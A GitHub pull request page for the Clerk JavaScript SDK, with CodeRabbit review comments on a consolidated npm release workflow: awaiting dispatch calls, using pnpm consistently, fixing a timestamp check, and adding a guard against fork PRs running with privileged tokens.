UnawaitedcreateWorkflowDispatchcalls can be lost when the script exits. This was already flagged; it’s still present in both release and canary scripts.✅ Suggested fix (apply in both scripts)
- github.rest.actions.createWorkflowDispatch({ - owner: 'clerk', - repo: 'sdk-infra-workers', - workflow_id: 'update-pkg-versions.yml', - ref: 'main', - inputs: { clerkjsVersion, clerkUiVersion } - }) - - github.rest.actions.createWorkflowDispatch({ - owner: 'clerk', - repo: 'dashboard', - workflow_id: 'prepare-nextjs-sdk-update.yml', - ref: 'main', - inputs: { version: nextjsVersion } - }) - - github.rest.actions.createWorkflowDispatch({ - owner: 'clerk', - repo: 'clerk-docs', - workflow_id: 'typedoc.yml', - ref: 'main', - }) + await Promise.all([ + github.rest.actions.createWorkflowDispatch({ + owner: 'clerk', + repo: 'sdk-infra-workers', + workflow_id: 'update-pkg-versions.yml', + ref: 'main', + inputs: { clerkjsVersion, clerkUiVersion } + }), + github.rest.actions.createWorkflowDispatch({ + owner: 'clerk', + repo: 'dashboard', + workflow_id: 'prepare-nextjs-sdk-update.yml', + ref: 'main', + inputs: { version: nextjsVersion } + }), + github.rest.actions.createWorkflowDispatch({ + owner: 'clerk', + repo: 'clerk-docs', + workflow_id: 'typedoc.yml', + ref: 'main', + }), + ]);- github.rest.actions.createWorkflowDispatch({ - owner: 'clerk', - repo: 'sdk-infra-workers', - workflow_id: 'update-pkg-versions.yml', - ref: 'main', - inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha } - }) - - if (nextjsVersion.includes('canary')) { - console.log('clerk/nextjs changed, will notify clerk/accounts'); - github.rest.actions.createWorkflowDispatch({ - owner: 'clerk', - repo: 'accounts', - workflow_id: 'release-staging.yml', - ref: 'main', - inputs: { version: nextjsVersion } - }) - } + const dispatches = [ + github.rest.actions.createWorkflowDispatch({ + owner: 'clerk', + repo: 'sdk-infra-workers', + workflow_id: 'update-pkg-versions.yml', + ref: 'main', + inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha } + }), + ]; + + if (nextjsVersion.includes('canary')) { + console.log('clerk/nextjs changed, will notify clerk/accounts'); + dispatches.push( + github.rest.actions.createWorkflowDispatch({ + owner: 'clerk', + repo: 'accounts', + workflow_id: 'release-staging.yml', + ref: 'main', + inputs: { version: nextjsVersion } + }) + ); + } + + await Promise.all(dispatches);Also applies to: 167-197
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/release.yml around lines 66 - 105, The three github.rest.actions.createWorkflowDispatch calls inside the script block (the preMode check) are not awaited and can be dropped when the action exits; modify the script to await each createWorkflowDispatch (or collect the returned promises and await Promise.all) so the workflow waits for those dispatch requests to complete before exiting—apply the same fix in both the release and canary workflow script blocks where createWorkflowDispatch is used and reference the preMode check to locate the correct section.
279-289:⚠️ Potential issue | 🟡 MinorUse pnpm for snapshot scripts to match workspace tooling.
Mixingnpm/npxwith a pnpm workspace can break resolution; align with the rest of the workflow.🔧 Suggested replacements
- run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT" + run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"- run: npx turbo build $TURBO_ARGS + run: pnpm turbo build $TURBO_ARGS- run: npm run release:snapshot + run: pnpm release:snapshot🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/release.yml around lines 279 - 289, Replace npm/npx invocations with pnpm workspace-safe commands: in the "Version packages for snapshot" step (id: version-packages) call pnpm -w run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} and append its last line to GITHUB_OUTPUT; in the "Build release" step replace npx turbo build $TURBO_ARGS with pnpm -w exec turbo build $TURBO_ARGS (so turbo runs in the pnpm workspace); and in the "Snapshot release" step call pnpm -w run release:snapshot instead of npm run release:snapshot to keep all commands using pnpm.
210-234:⚠️ Potential issue | 🔴 CriticalBlock snapshot runs on fork PRs before checkout.
A Clerk member can trigger!snapshoton a fork PR, which then checks out and runs untrusted code with privileged tokens. Add a fork guard before checkout.🔒 Suggested guard step
- name: Limit action to Clerk members uses: actions/github-script@v7 with: result-encoding: string retries: 3 retry-exempt-status-codes: 400,401 github-token: ${{ secrets.CLERK_COOKIE_PAT }} script: | try { await github.rest.orgs.checkMembershipForUser({ org: 'clerk', username: context.actor }); } catch (e) { core.setFailed(`@${context.actor} is not a member of the Clerk organization`); } + + - name: Guard against fork PRs + uses: actions/github-script@v7 + with: + github-token: ${{ github.token }} + script: | + const { owner, repo } = context.repo; + const { data: pr } = await github.rest.pulls.get({ + owner, repo, pull_number: context.issue.number, + }); + if (pr.head.repo.full_name !== pr.base.repo.full_name) { + core.setFailed('Snapshots are restricted to branches within clerk/javascript (no forks).'); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/release.yml around lines 210 - 234, The workflow currently runs untrusted steps on forked PRs before checkout; add an explicit fork guard that aborts for forked PRs before the "Checkout repo" step. Add a new step (e.g., "Abort on forked PR") placed before "Checkout repo" that checks github.event.pull_request.head.repo.fork (or use context: github.event.pull_request.head.repo.fork) and calls core.setFailed when true so the job stops for forks; ensure this guard runs before the existing "Limit action to Clerk members" / "Checkout repo" steps so no privileged tokens are exposed to forked code.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Duplicate comments:
In @.github/workflows/release.yml:
- Around line 243-255: The freshness check is using pr.updated_at but
github.rest.pulls.get returns an object with the payload on the data field, so
pr.updated_at is undefined; update the code that calls github.rest.pulls.get (or
its result handling) to read the timestamp from the returned data (e.g., use
pr.data.updated_at or destructure the response to const { data: pr } = await
github.rest.pulls.get(...)) and then compare new Date(pr.updated_at) against the
comment creation time before calling core.setFailed to ensure the guard actually
fires.
- Around line 66-105: The three github.rest.actions.createWorkflowDispatch calls
inside the script block (the preMode check) are not awaited and can be dropped
when the action exits; modify the script to await each createWorkflowDispatch
(or collect the returned promises and await Promise.all) so the workflow waits
for those dispatch requests to complete before exiting—apply the same fix in
both the release and canary workflow script blocks where createWorkflowDispatch
is used and reference the preMode check to locate the correct section.
- Around line 279-289: Replace npm/npx invocations with pnpm workspace-safe
commands: in the "Version packages for snapshot" step (id: version-packages)
call pnpm -w run version-packages:snapshot ${{
steps.extract-snapshot-name.outputs.name }} and append its last line to
GITHUB_OUTPUT; in the "Build release" step replace npx turbo build $TURBO_ARGS
with pnpm -w exec turbo build $TURBO_ARGS (so turbo runs in the pnpm workspace);
and in the "Snapshot release" step call pnpm -w run release:snapshot instead of
npm run release:snapshot to keep all commands using pnpm.
- Around line 210-234: The workflow currently runs untrusted steps on forked PRs
before checkout; add an explicit fork guard that aborts for forked PRs before
the "Checkout repo" step. Add a new step (e.g., "Abort on forked PR") placed
before "Checkout repo" that checks github.event.pull_request.head.repo.fork (or
use context: github.event.pull_request.head.repo.fork) and calls core.setFailed
when true so the job stops for forks; ensure this guard runs before the existing
"Limit action to Clerk members" / "Checkout repo" steps so no privileged tokens
are exposed to forked code.
ℹ️ Review info
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Pro
Disabled knowledge base sources:
- Linear integration is disabled
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (1)
.github/workflows/release.yml
|
Hey @nikosdouvlis 👋 This is a big one but it's mostly code being moved around. I'd appreciate your review and perspective on if the move to a single file would break anything that I didn't catch. If you think this could work we'll merge and monitor closely and revert if we must. |
Description
Trusted publishing configuration requires the name of the workflow publishing the package and unfortunately only one workflow can be used. This is why this PR also moves everything to a single release.yml.
We used to be forced to setup Trusted Publishing through ClickOps ™️ but now it's supported on the CLI (https://github.blog/changelog/2026-02-18-npm-bulk-trusted-publishing-config-and-script-security-now-generally-available/).
The final hurdle is that packages must be pushed from a single workflow so this PR attemps to make that a reality without making things too horrible at the same time.
Changes introduced:
issue_commenttriggergithub.refalways returns the default branch.Publish behavior should stay the same for release/canary/snapshot logic (same scripts, same build/publish flow), except auth is now OIDC-based.
Checklist
pnpm testruns as expected.pnpm buildruns as expected.Type of change
Summary by CodeRabbit